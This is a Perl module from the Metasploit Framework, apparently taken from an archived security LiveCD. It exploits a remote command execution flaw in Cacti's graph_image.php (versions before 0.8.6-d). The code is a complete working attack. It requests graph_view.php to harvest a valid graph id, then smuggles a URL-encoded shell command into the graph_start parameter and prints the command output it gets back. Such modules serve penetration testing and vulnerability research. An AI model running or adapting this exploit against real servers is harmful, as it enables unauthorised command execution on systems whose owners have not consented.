home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / cacti_graphimage_exec.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  164 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::cacti_graphimage_exec;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. use bytes;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info = {
  18.     'Name'     => 'Cacti graph_image.php Remote Command Execution',
  19.     'Version'  => '$Revision: 1.4 $',
  20.     'Authors'  => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
  21.     'Arch'     => [ ],
  22.     'OS'       => [ ],
  23.     'Priv'     => 0,
  24.     'UserOpts' =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 80],
  28.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  29.         'DIR'   => [1, 'DATA', 'Directory of cacti', '/cacti/'],
  30.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  31.       },
  32.  
  33.     'Description' => Pex::Text::Freeform(qq{
  34.         This module exploits an arbitrary command execution vulnerability in the
  35.     Raxnet Cacti 'graph_image.php' script. All versions of Raxnet Cacti prior to 
  36.     0.8.6-d are vulnerable.
  37. }),
  38.     'Refs' =>
  39.       [
  40.         ['BID', '14042'],
  41.         ['MIL', '96'],
  42.       ],
  43.  
  44.     'Payload' =>
  45.       {
  46.         'Space' => 128,
  47.         'Keys'  => ['cmd','cmd_bash'],
  48.       },
  49.  
  50.     'Keys' => ['cacti'],
  51.  
  52.     'DisclosureDate' => 'Jun 23 2005',
  53.   };
  54.  
  55. sub new {
  56.     my $class = shift;
  57.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  58.     return($self);
  59. }
  60.  
  61. sub Exploit {
  62.     my $self = shift;
  63.     my $target_host    = $self->VHost;
  64.     my $target_port    = $self->GetVar('RPORT');
  65.     my $dir            = $self->GetVar('DIR');
  66.     my $encodedPayload = $self->GetVar('EncodedPayload');
  67.     my $cmd            = $encodedPayload->RawPayload;
  68.  
  69.     
  70.     $cmd = Pex::Text::URLEncode($cmd);
  71.     
  72.     my $listgraph = $dir.'graph_view.php?action=list';
  73.     my $requestlist =
  74.       "GET $listgraph HTTP/1.1\r\n".
  75.       "Accept: */*\r\n".
  76.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  77.       "Host: ".$self->VHost.":$target_port\r\n".
  78.       "Connection: Close\r\n".
  79.       "\r\n";
  80.  
  81.     my $s = Msf::Socket::Tcp->new(
  82.         'PeerAddr' => $target_host,
  83.         'PeerPort' => $target_port,
  84.         'SSL'      => $self->GetVar('SSL'),
  85.       );
  86.  
  87.     if ($s->IsError){
  88.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  89.         return;
  90.     }
  91.  
  92.     $self->PrintLine("[*] Establishing a connection to the target to get list of valid image id ...");
  93.  
  94.     $s->Send($requestlist);
  95.  
  96.     my $resultslist = $s->Recv(-1, 20);
  97.     $s->Close();
  98.     
  99.     $resultslist=~m/local_graph_id=(.*?)&/ || $self->PrintLine("[*] Unable to retrieve a valid image id") && return;
  100.     
  101.     my $valid_graph_id=$1;
  102.  
  103.     $dir = $dir.'graph_image.php?local_graph_id='."$valid_graph_id".'&graph_start=%0aecho;echo%20YYY;'."$cmd".';echo%20YYY;echo%0a';
  104.  
  105.     my $request =
  106.       "GET $dir HTTP/1.1\r\n".
  107.       "Accept: */*\r\n".
  108.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  109.       "Host: ".$self->VHost.":$target_port\r\n".
  110.       "Connection: Close\r\n".
  111.       "\r\n";
  112.  
  113.     $s = Msf::Socket::Tcp->new(
  114.         'PeerAddr' => $target_host,
  115.         'PeerPort' => $target_port,
  116.         'SSL'      => $self->GetVar('SSL'),
  117.       );
  118.  
  119.     if ($s->IsError){
  120.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  121.         return;
  122.     }
  123.  
  124.     $self->PrintLine("[*] Establishing a connection to the target to execute command ...");
  125.  
  126.     $s->Send($request);
  127.  
  128.     my $results = $s->Recv(-1, 20);
  129.  
  130.     if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
  131.  
  132.         (undef, $results) = split(/YYY/, $results);
  133.  
  134.         my @results = split ( /\r\n/, $results );
  135.  
  136.         chomp @results;
  137.  
  138.         for (my $i = 2; $i < @results; $i += 2){
  139.             $self->PrintLine('');
  140.             $self->PrintLine("$results[$i]");
  141.         }
  142.     } else {
  143.  
  144.         (undef, $results) = split(/YYY/, $results);
  145.  
  146.         my @results = split ( /\r\n/, $results );
  147.  
  148.         chomp @results;
  149.         $self->PrintLine("[*] Target may be not vulnerable");
  150.         $self->PrintLine("$results");
  151.     }
  152.  
  153.     $s->Close();
  154.     return;
  155. }
  156.  
  157. sub VHost {
  158.     my $self = shift;
  159.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  160.     return $name;
  161. }
  162.  
  163. 1;
  164.